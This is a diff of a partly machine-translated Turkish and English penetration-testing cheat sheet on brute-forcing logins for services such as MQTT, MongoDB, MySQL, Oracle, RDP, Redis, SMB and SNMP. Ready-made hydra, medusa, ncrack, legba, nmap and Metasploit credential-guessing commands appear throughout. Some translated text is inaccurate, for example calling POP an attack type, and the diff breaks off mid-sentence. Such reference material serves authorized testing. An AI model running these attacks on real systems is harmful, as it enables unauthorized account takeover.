+### MQTT -MQTT operates on a publish-subscribe model, where clients can publish messages to topics or subscribe to topics to receive messages. Topics are hierarchical in nature, allowing for a flexible and organized way of organizing messages. - -Brute forcing MQTT involves attempting to guess the username and password combination to gain unauthorized access to an MQTT broker. This can be done using various tools and techniques, such as dictionary attacks, credential stuffing, or even exploiting weak passwords. - -To perform a brute force attack on an MQTT broker, you would typically need a list of possible usernames and passwords. This can be obtained through various means, such as using common username and password combinations, using leaked credentials from other sources, or using tools that generate possible combinations. - -Once you have the list of usernames and passwords, you can use a tool like `mosquitto_pub` or `mqtt-cli` to attempt to connect to the MQTT broker using each combination. The tool will iterate through the list and try each combination until a successful login is achieved or the list is exhausted. - -It is important to note that brute forcing MQTT is considered unethical and illegal unless you have explicit permission from the owner of the MQTT broker. Unauthorized access to someone else's MQTT broker is a violation of their privacy and can lead to legal consequences. - -If you are a security professional or a penetration tester, it is recommended to follow ethical guidelines and obtain proper authorization before attempting any brute force attacks. +MQTT, Message Queuing Telemetry Transport, is a lightweight messaging protocol that is widely used for IoT devices. MQTT operates on top of the TCP/IP protocol, making it suitable for remote locations with limited bandwidth. MQTT uses a publish/subscribe model, where clients can publish messages to a central broker and subscribe to receive messages on specific topics. This protocol is vulnerable to brute force attacks, where an attacker tries to guess the username and password to gain unauthorized access to the MQTT broker. Implementing strong authentication mechanisms and using secure passwords can help mitigate the risk of brute force attacks on MQTT. ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` ### Mongo -Mongo, kısaltması MongoDB olan bir NoSQL veritabanıdır. Brute force saldırıları, MongoDB sunucusuna erişim sağlamak için kullanılan yaygın bir yöntemdir. Bu saldırı türü, kullanıcı adı ve şifre kombinasyonlarını deneyerek doğru kimlik bilgilerini bulmayı amaçlar. +Mongo veritabanı sunucusuna brute force saldırısı yapmak için Hydra aracını kullanabilirsiniz. Aşağıdaki komutu kullanarak saldırıyı gerçekleştirebilirsiniz: -Brute force saldırıları, genellikle zayıf veya tahmin edilebilir şifreler kullanılarak gerçekleştirilir. Saldırganlar, oturum açma sayfasına doğru kullanıcı adı ve şifre kombinasyonlarını göndererek deneme yaparlar. Bu saldırı türü, saldırganın birçok farklı kombinasyonu denemesi gerektiği için zaman alıcı olabilir. +```plaintext +hydra -l -P <şifre_listesi> mongodb +``` -MongoDB sunucusuna karşı brute force saldırılarına karşı koymak için bazı önlemler almak önemlidir. Güçlü ve karmaşık şifreler kullanmak, saldırganların tahmin etmesini zorlaştırır. Ayrıca, oturum açma denemelerini sınırlayan bir otomatik kilit mekanizması kullanmak da faydalı olabilir. Bu mekanizma, belirli bir süre boyunca yanlış oturum açma denemeleri yapıldığında hesabı geçici olarak kilitler. - -MongoDB sunucusuna karşı brute force saldırılarına karşı koymak için güvenlik duvarı kuralları da kullanılabilir. Bu kurallar, belirli IP adreslerinden gelen oturum açma denemelerini engelleyebilir veya sınırlayabilir. Ayrıca, güncellemeleri ve yamaları düzenli olarak uygulamak da güvenlik açıklarını azaltabilir. - -Sonuç olarak, MongoDB sunucusuna karşı brute force saldırılarına karşı koymak için güçlü şifreler kullanmak, otomatik kilit mekanizmaları kullanmak ve güvenlik duvarı kuralları uygulamak önemlidir. Bu önlemler, saldırganların başarılı bir şekilde sisteme erişmesini zorlaştırabilir ve verilerin güvenliğini sağlayabilir. +Bu komut, belirtilen kullanıcı adı ve şifre listesini kullanarak Mongo veritabanı sunucusuna brute force saldırısı yapacaktır. ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login @@ -473,47 +302,13 @@ legba mongodb --target localhost:27017 --username root --password data/passwords ``` ### MSSQL -MSSQL, Microsoft SQL Server'ın kısaltmasıdır. Bu, Microsoft tarafından geliştirilen ve yaygın olarak kullanılan bir ilişkisel veritabanı yönetim sistemidir. MSSQL, Windows tabanlı sistemlerde çalışır ve genellikle büyük ölçekli kurumsal uygulamalarda kullanılır. - -MSSQL brute force saldırısı, bir saldırganın MSSQL sunucusuna erişmek için deneme yanılma yöntemini kullanmasıdır. Bu saldırıda, saldırgan bir kullanıcı adı ve şifre kombinasyonu listesi kullanarak sunucuya oturum açmaya çalışır. Saldırgan, doğru kullanıcı adı ve şifre kombinasyonunu bulana kadar farklı kombinasyonları denemeye devam eder. - -Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanan kullanıcı hesaplarını hedef alır. Saldırganlar, oturum açma denemelerini hızlandırmak için otomatik araçlar veya yazılımlar kullanabilirler. Bu nedenle, güçlü ve karmaşık şifreler kullanmak, MSSQL sunucusunun brute force saldırılarına karşı korunmasına yardımcı olabilir. - -MSSQL brute force saldırılarına karşı korunmak için aşağıdaki önlemler alınabilir: - -- Güçlü ve karmaşık şifreler kullanın. -- Oturum açma denemelerini sınırlayın ve otomatik araçları engelleyin. -- Güvenlik duvarı ve ağ filtreleme kullanarak erişimi sınırlayın. -- Güncel ve yamalanmış bir MSSQL sunucusu kullanın. -- Kullanıcı hesaplarını düzenli olarak denetleyin ve zayıf şifreleri değiştirin. - -MSSQL brute force saldırılarına karşı savunmasız olan bir sunucu, saldırganın yetkisiz erişim elde etmesine ve hassas verilere erişmesine neden olabilir. Bu nedenle, MSSQL sunucusunun güvenliğini sağlamak için güvenlik önlemlerini uygulamak önemlidir. +Brute-force attacks against MSSQL servers can be carried out using tools like **MSSQLP**. This tool allows you to perform password guessing against MSSQL servers. It is important to note that brute-forcing attacks should only be conducted against systems that you own or have explicit permission to test. ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` ### MySQL -MySQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemidir. Birçok web uygulaması ve web sitesi tarafından kullanılan popüler bir veritabanıdır. MySQL, kullanıcıların verileri depolamalarına, yönetmelerine ve erişmelerine olanak tanır. - -#### Brute Force Saldırısı - -Brute force saldırısı, bir saldırganın bir hedefin kullanıcı adı ve şifresini tahmin etmek için tüm olası kombinasyonları denemesidir. MySQL'de brute force saldırısı, saldırganın bir kullanıcının şifresini doğru tahmin etmek için farklı şifre kombinasyonlarını denemesini içerir. - -#### Brute Force Saldırısını Önleme - -MySQL'de brute force saldırılarını önlemek için aşağıdaki adımları izleyebilirsiniz: - -1. Güçlü Şifreler Kullanın: Kullanıcıların güçlü ve karmaşık şifreler kullanmalarını sağlayın. Şifrelerin büyük ve küçük harfler, rakamlar ve özel karakterler içermesi önerilir. - -2. Şifre Deneme Sınırını Sınırlayın: MySQL'de şifre deneme sınırını sınırlayarak, bir kullanıcının belirli bir süre içinde belirli sayıda yanlış şifre denemesi yapmasını engelleyebilirsiniz. - -3. IP Adresi Tabanlı Sınırlamalar: MySQL sunucusuna erişimi sınırlamak için IP adresi tabanlı sınırlamalar kullanabilirsiniz. Sadece belirli IP adreslerinden gelen isteklere izin vererek, saldırganların sunucuya erişimini engelleyebilirsiniz. - -4. Güncellemeleri Uygulayın: MySQL'in güncellemelerini düzenli olarak uygulayarak, güvenlik açıklarını kapatır ve saldırılara karşı daha dirençli hale gelirsiniz. - -5. Günlükleri İzleyin: MySQL günlüklerini izleyerek, şüpheli etkinlikleri tespit edebilir ve saldırı girişimlerini belirleyebilirsiniz. - -Bu önlemleri uygulayarak, MySQL veritabanınızı brute force saldırılarına karşı koruyabilirsiniz. +MySQL, bir veritabanı yönetim sistemidir ve birçok web uygulamasında kullanılır. MySQL veritabanına brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırılar, oturum açma sayfasına doğrudan erişim sağlayarak veya API'ler aracılığıyla gerçekleştirilebilir. Saldırganlar genellikle oturum açma sayfasına doğrudan erişim sağlamak için otomatik araçlar kullanır. ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -527,21 +322,9 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` -# OracleSQL +### OracleSQL -OracleSQL, Oracle veritabanı yönetim sistemi için kullanılan bir SQL dilidir. Brute force saldırıları, OracleSQL veritabanlarına erişim sağlamak için kullanılan yaygın bir yöntemdir. - -Brute force saldırıları, bir saldırganın tüm olası kombinasyonları deneyerek doğru kimlik bilgilerini bulmaya çalıştığı bir saldırı türüdür. OracleSQL veritabanlarına brute force saldırıları gerçekleştirmek için çeşitli araçlar ve yöntemler mevcuttur. - -Brute force saldırıları genellikle zayıf veya tahmin edilebilir parolaları hedef alır. Saldırganlar, kullanıcı adı ve parola kombinasyonlarını otomatik olarak deneyerek doğru kombinasyonu bulmaya çalışır. - -OracleSQL veritabanlarına brute force saldırıları gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz: - -1. Kullanıcı adı ve parola listesi oluşturun. -2. Brute force aracını kullanarak kullanıcı adı ve parola kombinasyonlarını deneyin. -3. Başarılı bir kimlik doğrulama gerçekleştirildiğinde, erişim sağlanır. - -Brute force saldırıları, güvenlik açıklarını tespit etmek ve zayıf parolaları güçlendirmek için kullanılabilir. Ancak, bu tür saldırılar yasa dışıdır ve yalnızca yasal izinlerle gerçekleştirilmelidir. +Brute-force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -565,7 +348,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` -**oracle_login**'i **patator** ile kullanmak için **yükleme** yapmanız gerekmektedir: +**oracle_login**'ı **patator** ile kullanabilmek için **yükleme** yapmanız gerekmektedir: ```bash pip3 install cx_Oracle --upgrade ``` @@ -573,7 +356,9 @@ pip3 install cx_Oracle --upgrade ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` -POP (Post Office Protocol), e-posta istemcilerinin e-posta sunucusuna erişmek için kullandığı bir protokoldür. POP, e-posta mesajlarını sunucudan indirir ve yerel bir cihazda depolar. POP, kullanıcı adı ve şifre kombinasyonlarıyla sunucuya bağlanır ve brute force saldırılarına karşı savunmasız olabilir. Brute force saldırıları, tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. POP sunucusuna brute force saldırısı yaparken, bir saldırgan genellikle oturum açma isteklerini otomatik olarak gönderen bir yazılım kullanır. Bu yazılım, farklı şifre kombinasyonlarını denemek için bir sözlük saldırısı veya brute force saldırısı gerçekleştirebilir. +### POP + +POP, kullanıcı adı ve şifre kombinasyonlarını deneyerek bir hedefe erişmeye çalışan bir brute force saldırı türüdür. Bu saldırı genellikle zayıf şifrelerin veya tekrarlanan şifrelerin bulunduğu durumlarda etkili olabilir. Saldırganlar genellikle oturum açma formlarını veya API'leri hedef alarak POP saldırılarını gerçekleştirirler. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -586,19 +371,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar ``` ### PostgreSQL -PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemidir (RDBMS). Brute force saldırıları, PostgreSQL veritabanlarını hedef almak için kullanılan yaygın bir yöntemdir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek veritabanına yetkisiz erişim elde etmeyi amaçlar. - -Brute force saldırıları genellikle oturum açma formlarına veya kimlik doğrulama mekanizmalarına uygulanır. Saldırganlar, kullanıcı adı ve şifre kombinasyonlarını otomatik olarak deneyerek doğru kombinasyonu bulmaya çalışır. Bu saldırılar genellikle zaman alıcıdır, çünkü saldırganların tüm olası kombinasyonları denemesi gerekebilir. - -PostgreSQL brute force saldırılarına karşı korunmak için bazı önlemler alınabilir. İşte bazı öneriler: - -- Güçlü şifreler kullanın: Karmaşık ve tahmin edilmesi zor şifreler kullanarak saldırganların şifreleri tahmin etmesini zorlaştırın. -- Şifre deneme sınırlamaları uygulayın: Oturum açma denemelerini sınırlayan bir mekanizma kullanarak saldırganların sonsuz deneme yapmasını önleyin. -- İki faktörlü kimlik doğrulama kullanın: İki faktörlü kimlik doğrulama, saldırganların sadece kullanıcı adı ve şifreyle oturum açmasını engeller. -- Güncellemeleri takip edin: PostgreSQL'in güncellemelerini düzenli olarak kontrol edin ve güvenlik yamalarını uygulayın. -- Güvenlik duvarı kullanın: PostgreSQL sunucusuna erişimi sınırlayan bir güvenlik duvarı kullanarak saldırıları engelleyin. - -Bu önlemler, PostgreSQL veritabanınızı brute force saldırılarına karşı daha güvenli hale getirecektir. Ancak, herhangi bir güvenlik önlemi tamamen güvenliği garanti etmez, bu yüzden düzenli olarak güvenlik kontrolleri yapmak önemlidir. +PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) olup, genellikle web uygulamaları ve veri depolama alanlarında kullanılmaktadır. Brute force saldırıları, genellikle zayıf veya sızdırılmış şifrelerin bulunması için kullanılan etkili bir yöntemdir. Bu saldırı türü, oturum açma sayfasına doğrudan erişerek veya oturum açma isteklerini doğrudan göndererek gerçekleştirilebilir. Saldırganlar, oturum açma sayfasına doğrudan erişerek veya oturum açma isteklerini doğrudan göndererek şifre kombinasyonlarını deneyerek hedef PostgreSQL veritabanına erişmeye çalışabilirler. Bu tür saldırılar, güvenlik açıklarını tespit etmek ve kapatmak için önemli bir test yöntemi olarak kullanılabilir. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -610,26 +383,16 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho ``` ### PPTP -`.deb` paketini indirmek için [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) adresine gidin. +`.deb` paketini kurmak için [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) adresinden indirebilirsiniz. ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP -RDP (Remote Desktop Protocol), uzak bir bilgisayara erişmek için kullanılan bir protokoldür. RDP brute force saldırıları, bir saldırganın hedeflenen bir RDP sunucusuna oturum açmak için birden çok kullanıcı adı ve şifre kombinasyonunu denemesini içerir. +### Kaba Kuvvet Saldırısı -Bu saldırı türü, saldırganın oturum açma bilgilerini tahmin etmek veya kaba kuvvet yöntemiyle bulmak için otomatik araçlar kullanmasını sağlar. Saldırgan, genellikle yaygın kullanılan kullanıcı adları ve şifreleri kullanarak oturum açma girişimlerinde bulunur. - -RDP brute force saldırılarına karşı korunmak için aşağıdaki önlemleri almak önemlidir: - -- Güçlü şifreler kullanın ve düzenli olarak değiştirin. -- Kullanıcı adı ve şifre kombinasyonlarını tahmin etmek için otomatik araçlara karşı koruma sağlayan bir oturum açma politikası uygulayın. -- RDP sunucusuna erişimi sınırlayın ve yalnızca güvenilir IP adreslerinden gelen bağlantılara izin verin. -- RDP sunucusunu güncel tutun ve güvenlik yamalarını düzenli olarak uygulayın. -- İki faktörlü kimlik doğrulama gibi ek güvenlik önlemlerini kullanın. - -RDP brute force saldırılarına karşı dikkatli olmak ve güvenlik önlemlerini uygulamak, bilgisayarınızın ve ağınızın güvenliğini sağlamak için önemlidir. +Kaba kuvvet saldırısı, bir şifreleme anahtarını veya parolasını bulmak için tüm olası kombinasyonları deneyen bir saldırı türüdür. Bu saldırı türü, RDP sunucularına erişmek için kullanılabilir ve genellikle oturum açma ekranında kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu saldırı türü, güçlü ve karmaşık şifreler kullanılarak savunulabilir. ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// @@ -637,44 +400,28 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt ``` ### Redis -Redis, bir açık kaynaklı, anahtar-değer tabanlı bir veritabanıdır. Brute force saldırıları, Redis sunucusuna erişmek için kullanılan yaygın bir yöntemdir. Brute force saldırıları, bir saldırganın tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalıştığı bir saldırı türüdür. - -Brute force saldırıları, genellikle zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. Saldırganlar, genellikle bir şifre listesi veya bir kelime listesi kullanarak saldırı gerçekleştirirler. Bu listeler, en yaygın kullanılan şifreleri veya tahmin edilebilir şifre kombinasyonlarını içerebilir. - -Redis sunucusuna brute force saldırısı gerçekleştirmek için, saldırganlar genellikle bir otomasyon aracı veya özel yazılım kullanır. Bu araçlar, otomatik olarak şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır. - -Brute force saldırılarına karşı korunmak için, güçlü ve tahmin edilemez şifreler kullanmak önemlidir. Ayrıca, Redis sunucusuna erişimi sınırlayan güvenlik önlemleri almak da önemlidir. Örneğin, güçlü bir şifre gerektiren bir kimlik doğrulama mekanizması kullanmak veya IP tabanlı erişim kontrolü uygulamak gibi önlemler alınabilir. - -Redis sunucusuna brute force saldırısı gerçekleştirildiğinde, saldırıyı tespit etmek ve saldırıyı durdurmak için gerekli önlemleri almak önemlidir. Bu, günlük kayıtlarını izlemek, şüpheli etkinlikleri tespit etmek ve saldırıyı engellemek için gerekli adımları atmak anlamına gelebilir. +Redis, bir anahtar-değer veritabanıdır ve genellikle oturum yönetimi ve önbellekleme için kullanılır. Redis sunucuları, varsayılan olarak şifre korumalı değildir ve genellikle varsayılan şifrelerle yapılandırılır. Brute force saldırıları, bu varsayılan şifrelerin zayıf olduğu durumlarda Redis sunucularına erişmek için kullanılabilir. Bu saldırılar, oturum bilgilerini çalmak veya kötü amaçlı yazılım enjekte etmek gibi zararlı faaliyetlerde bulunmak için kullanılabilir. ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` -Rexec, also known as Remote Execution, is a network service that allows users to execute commands on a remote system. It is commonly used for administrative purposes, such as managing multiple systems from a central location. Rexec operates on TCP port 512 and uses a simple authentication mechanism based on a username and password. +### Rexec -Rexec can be vulnerable to brute force attacks, where an attacker attempts to guess the correct username and password combination to gain unauthorized access to the remote system. Brute forcing is a common technique used by hackers to exploit weak or easily guessable credentials. - -To protect against brute force attacks on Rexec, it is important to use strong and complex passwords that are not easily guessable. Additionally, implementing account lockout policies can help prevent repeated login attempts by locking out an account after a certain number of failed login attempts. - -It is also recommended to monitor Rexec logs for any suspicious activity, such as multiple failed login attempts from the same IP address. This can help identify and mitigate brute force attacks in real-time. - -Overall, securing Rexec involves a combination of strong authentication mechanisms, password policies, and monitoring for suspicious activity to prevent unauthorized access to remote systems. +Rexec, Remote Execution, is a service that allows a user to execute commands on a remote system. This service is often targeted during brute force attacks to gain unauthorized access to the remote system. ```bash hydra -l -P rexec:// -v -V ``` -Rlogin, Remote Login (Uzaktan Giriş) protokolünü kullanarak bir sunucuya uzaktan erişim sağlar. Bu protokol, kullanıcı adı ve şifre gibi kimlik doğrulama bilgilerini şifrelemeksizin ilettiği için güvenlik açığına sahiptir. Bu nedenle, rlogin kullanırken dikkatli olunmalı ve güvenli alternatifler tercih edilmelidir. +### Rlogin + +Rlogin, Remote Login'ın kısaltmasıdır ve UNIX tabanlı sistemlerde uzak bir makineye erişmek için kullanılan bir protokoldür. Brute force saldırıları genellikle rlogin protokolü üzerinde gerçekleştirilir. Bu saldırıda, saldırgan rlogin hedefine bir dizi kullanıcı adı ve şifre kombinasyonu gönderir, genellikle oturum açma bilgilerini elde etmek için. ```bash hydra -l -P rlogin:// -v -V ``` -Rsh (Remote Shell) is a network protocol that allows users to execute commands on a remote system. It is commonly used for remote administration tasks. Rsh operates on port 514 and uses a simple authentication mechanism based on the client's IP address. However, this authentication method is insecure and can be easily bypassed. +### Rsh -To perform a brute force attack on Rsh, you can use tools like Hydra or Medusa. These tools automate the process of trying different username and password combinations until a successful login is found. It is important to note that brute forcing is an aggressive and potentially illegal technique, so it should only be used with proper authorization and for legitimate purposes. - -When conducting a brute force attack on Rsh, it is recommended to use a wordlist containing common usernames and passwords. Additionally, you can customize the attack by specifying the number of parallel connections, the delay between attempts, and other parameters. - -To protect against brute force attacks on Rsh, it is recommended to disable the service if it is not needed or to implement stronger authentication mechanisms, such as using SSH instead. Additionally, monitoring the network for suspicious activity and implementing account lockout policies can help mitigate the risk of brute force attacks. +Rsh, yani "Remote Shell", bir hedef sistemde bir kabuk açmak için kullanılan bir protokoldür. Brute force saldırıları genellikle Rsh protokolünü hedef alır. Bu saldırılar, genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek hedef sisteme erişmeye çalışırlar. Bu tür saldırılar genellikle güvenlik zafiyetlerinden yararlanarak gerçekleştirilir. ```bash hydra -L rsh:// -v -V ``` @@ -682,37 +429,19 @@ hydra -L rsh:// -v -V ### Rsync -Rsync, klasörlerin ve dosyaların bir sunucu ile senkronize edilmesini sağlayan bir veri transfer protokolüdür. Rsync, veri transferini hızlandırmak için yalnızca değişen veya eksik olan dosyaları kopyalar. Bu, büyük dosya veya klasörlerin senkronizasyonunu hızlı ve verimli hale getirir. - -Rsync, ağ üzerindeki veri transferini güvenli hale getirmek için SSH (Secure Shell) protokolünü kullanır. Bu nedenle, kullanıcı adı ve şifre gibi kimlik doğrulama bilgileri şifrelenir ve güvenli bir şekilde iletilir. - -Rsync, birçok farklı senaryoda kullanılabilir. Örneğin, sunucular arasında dosya senkronizasyonu, yedekleme işlemleri veya veri taşıma işlemleri için kullanılabilir. Rsync'in esnek yapılandırma seçenekleri vardır ve kullanıcıların senaryolarına uyacak şekilde özelleştirilebilir. - -Rsync, hedef sunucuda bulunan dosyaların ve klasörlerin birebir kopyasını oluşturur. Bu nedenle, hedef sunucuda herhangi bir değişiklik yapılırsa, bu değişiklikler kaybolabilir veya üzerine yazılabilir. Bu nedenle, Rsync kullanırken dikkatli olmak ve senkronizasyon işlemlerini doğru şekilde yapılandırmak önemlidir. +Rsync, bir dosya senkronizasyon ve transfer aracıdır. Dosyaları yerel ve uzak sistemler arasında senkronize etmek için kullanılır. ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP -RTSP (Real Time Streaming Protocol), gerçek zamanlı medya sunucusu ve istemcisi arasında iletişim kurmak için kullanılan bir ağ protokolüdür. RTSP, video ve ses akışlarını kontrol etmek, yönetmek ve iletmek için kullanılır. Bu protokol, IP kameralar, medya sunucuları ve diğer multimedya cihazları arasında yaygın olarak kullanılır. - -RTSP brute force saldırısı, bir saldırganın RTSP sunucusuna erişmek için kullanıcı adı ve şifre kombinasyonlarını denemesini içerir. Bu saldırı türü, zayıf veya tahmin edilebilir kimlik doğrulama bilgilerine sahip RTSP sunucularını hedef alır. - -Brute force saldırıları genellikle otomatik araçlar veya özel yazılımlar kullanılarak gerçekleştirilir. Saldırganlar, genellikle kullanıcı adı ve şifre kombinasyonlarını bir kelime listesinden veya tahmin edilebilir kombinasyonlardan oluşturarak deneme yaparlar. Bu saldırı türü, zayıf veya varsayılan kimlik doğrulama bilgilerine sahip RTSP sunucularını hedef alır. - -RTSP brute force saldırılarına karşı korunmanın en iyi yolu, güçlü ve karmaşık kimlik doğrulama bilgileri kullanmaktır. Kullanıcı adı ve şifre kombinasyonlarını tahmin edilemeyecek şekilde oluşturmak ve düzenli olarak değiştirmek önemlidir. Ayrıca, RTSP sunucusuna erişimi sınırlamak ve güvenlik duvarı veya ağ filtreleme gibi ek önlemler almak da saldırılardan korunmaya yardımcı olabilir. +RTSP, Gerçek Zamanlı Akış Protokolü anlamına gelir. RTSP, medya akışı için bir iletişim protokolüdür. Medya sunucusundan medya istemcisine veri akışını kontrol etmek için kullanılır. Medya akışı için RTSP protokolünü kırmak için brute force saldırıları kullanılabilir. ```bash hydra -l root -P passwords.txt rtsp ``` -SFTP (Secure File Transfer Protocol) is a secure alternative to FTP (File Transfer Protocol) that allows for the secure transfer of files between a client and a server. It uses SSH (Secure Shell) to establish a secure connection and encrypts the data being transferred. +### SFTP -SFTP can be used for various purposes, such as securely transferring files between systems, backing up data, and synchronizing files between different locations. It provides authentication and encryption mechanisms to ensure the confidentiality and integrity of the transferred data. - -To connect to an SFTP server, you will need the server's hostname or IP address, a username, and a password or SSH key. Once connected, you can use commands similar to those used in FTP to navigate the server's file system, upload and download files, and perform other file operations. - -When using SFTP, it is important to follow security best practices to protect your data. This includes using strong passwords or SSH keys, regularly updating your SFTP client and server software, and monitoring for any suspicious activity. - -Overall, SFTP is a reliable and secure method for transferring files over a network, providing encryption and authentication to ensure the privacy and integrity of your data. +SFTP, **Secure File Transfer Protocol**'un kısaltmasıdır. SFTP, dosya transferi için güvenli bir protokoldür. SFTP brute force saldırılarına karşı savunmasız olabilir. Saldırganlar, kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalışabilirler. Bu tür saldırılara karşı korunmak için güçlü ve karmaşık şifreler kullanılmalı ve giriş denemelerinin sınırlandırılması önerilir. ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder @@ -720,67 +449,32 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar ``` ### SNMP -SNMP (Simple Network Management Protocol), basit bir ağ yönetim protokolüdür. SNMP, ağ cihazlarının durumunu izlemek, performans istatistiklerini toplamak ve ağ yönetimi için bilgi sağlamak için kullanılır. SNMP, ağ cihazlarına yönelik bir dizi standart yönetim bilgisi tabanlı nesne (MIB) kullanır. Bu nesneler, ağ cihazlarının durumunu ve performansını temsil eden verileri içerir. - -SNMP, ağ cihazlarına yönelik saldırılar için bir hedef olabilir. Brute force saldırıları, SNMP protokolünü hedef alarak ağ cihazlarının yönetim bilgilerine erişmeye çalışır. Bu saldırılar, varsayılan veya zayıf parolaları deneyerek SNMP cihazlarına yetkisiz erişim sağlamayı amaçlar. - -SNMP brute force saldırıları, bir saldırganın birçok farklı parolayı hızlı bir şekilde denemesini gerektirir. Bu saldırıları gerçekleştirmek için çeşitli araçlar ve yöntemler mevcuttur. Saldırganlar, genellikle bir sözlük saldırısı veya tüm olası kombinasyonları deneyen bir brute force saldırısı kullanır. - -SNMP brute force saldırılarına karşı korunmak için güçlü parolalar kullanmak önemlidir. Varsayılan parolaları değiştirmek ve karmaşık, uzun ve rastgele parolalar kullanmak, saldırganların erişim sağlamasını zorlaştırır. Ayrıca, SNMP erişimini sınırlamak ve güvenlik duvarları veya ağ erişim denetim listeleri kullanmak da saldırı riskini azaltabilir. +### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` -#### Brute Force +### SMB -SMB (Server Message Block) brute force attacks involve attempting to gain unauthorized access to a target system by systematically trying different username and password combinations. This technique is commonly used to exploit weak or default credentials on SMB servers. - -##### Tools - -- **Hydra**: A popular command-line tool for performing brute force attacks. It supports various protocols, including SMB. -- **Medusa**: Another command-line tool that supports SMB brute forcing. -- **Ncrack**: A high-speed network authentication cracking tool that can be used for SMB brute forcing. - -##### Methodology - -1. **Enumerate Users**: Gather information about valid usernames on the target system. This can be done using tools like **enum4linux** or **nmap**. -2. **Create Wordlist**: Generate a wordlist containing potential passwords. This can be done using tools like **Cupp** or **Crunch**. -3. **Perform Brute Force**: Use a brute force tool like **Hydra**, **Medusa**, or **Ncrack** to systematically try different username and password combinations. -4. **Analyze Results**: Analyze the results of the brute force attack to identify successful login credentials. -5. **Exploit Access**: Once valid credentials are obtained, use them to gain unauthorized access to the target system. - -##### Best Practices to Prevent SMB Brute Force Attacks - -- Use strong and unique passwords for all user accounts. -- Implement account lockout policies to prevent multiple failed login attempts. -- Disable or rename default administrator accounts. -- Regularly update and patch SMB servers to fix any security vulnerabilities. -- Monitor and log failed login attempts to detect and respond to brute force attacks. +### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` -SMTP (Simple Mail Transfer Protocol), basit bir posta aktarım protokolüdür. SMTP, e-posta göndermek için kullanılan standart bir iletişim protokolüdür. SMTP sunucusu, e-posta istemcileri tarafından kullanılır ve e-posta iletilerini alıcı sunucuya iletmek için kullanılır. +### SMTP -SMTP brute force saldırısı, bir saldırganın SMTP sunucusuna birden fazla kullanıcı adı ve şifre kombinasyonu deneyerek yetkisiz erişim elde etmeye çalıştığı bir saldırı türüdür. Bu saldırı, zayıf veya tahmin edilebilir şifreler kullanan kullanıcı hesaplarını hedef alır. - -SMTP brute force saldırılarını önlemek için aşağıdaki önlemler alınabilir: - -- Güçlü şifre politikaları uygulamak: Kullanıcıların karmaşık ve güçlü şifreler kullanmalarını sağlamak için şifre politikaları belirlenmelidir. -- Hesap kilit mekanizmaları: Belirli bir süre içinde yanlış şifre denemeleri yapan hesapları otomatik olarak kilitleyen bir mekanizma kullanılmalıdır. -- İki faktörlü kimlik doğrulama (2FA): Kullanıcıların hesaplarına ek bir güvenlik katmanı eklemek için 